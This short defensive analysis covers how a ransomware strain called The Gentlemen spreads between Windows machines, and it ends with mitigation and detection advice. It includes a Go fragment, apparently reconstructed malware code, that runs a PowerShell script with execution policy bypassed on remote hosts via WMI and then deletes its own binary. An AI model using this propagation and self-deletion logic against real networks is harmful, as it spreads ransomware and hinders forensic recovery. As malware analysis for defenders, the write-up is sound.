Defensive Architecture: The Gentlemen's Lateral Movement Logic

The Gentlemen ransomware utilizes a Go-based propagation module that leverages WMI (Windows Management Instrumentation) to execute payloads on remote targets. The use of ephemeral keys—generated per file and never stored on disk—makes decryption impossible without the attacker's private key, even if the system's memory is dumped shortly after infection.

func propagate(target string) {
  // Ephemeral Key Generation
  key := generateEphemeralKey()
  // WMI-based Remote Execution
  cmd := fmt.Sprintf("powershell.exe -ExecutionPolicy Bypass -File \\\\%s\\C$\\temp\\gentleman.ps1", target)
  exec.Command("wmic", "/node:"+target, "process", "call", "create", cmd).Run()
  // Self-Deletion after encryption
  os.Remove(os.Args[0])
}

Blocking outbound WMI calls between workstations and enforcing strict SMB signing can disrupt the propagation logic. Additionally, monitoring for Go-based binaries that spawn PowerShell processes is a high-fidelity detection signal.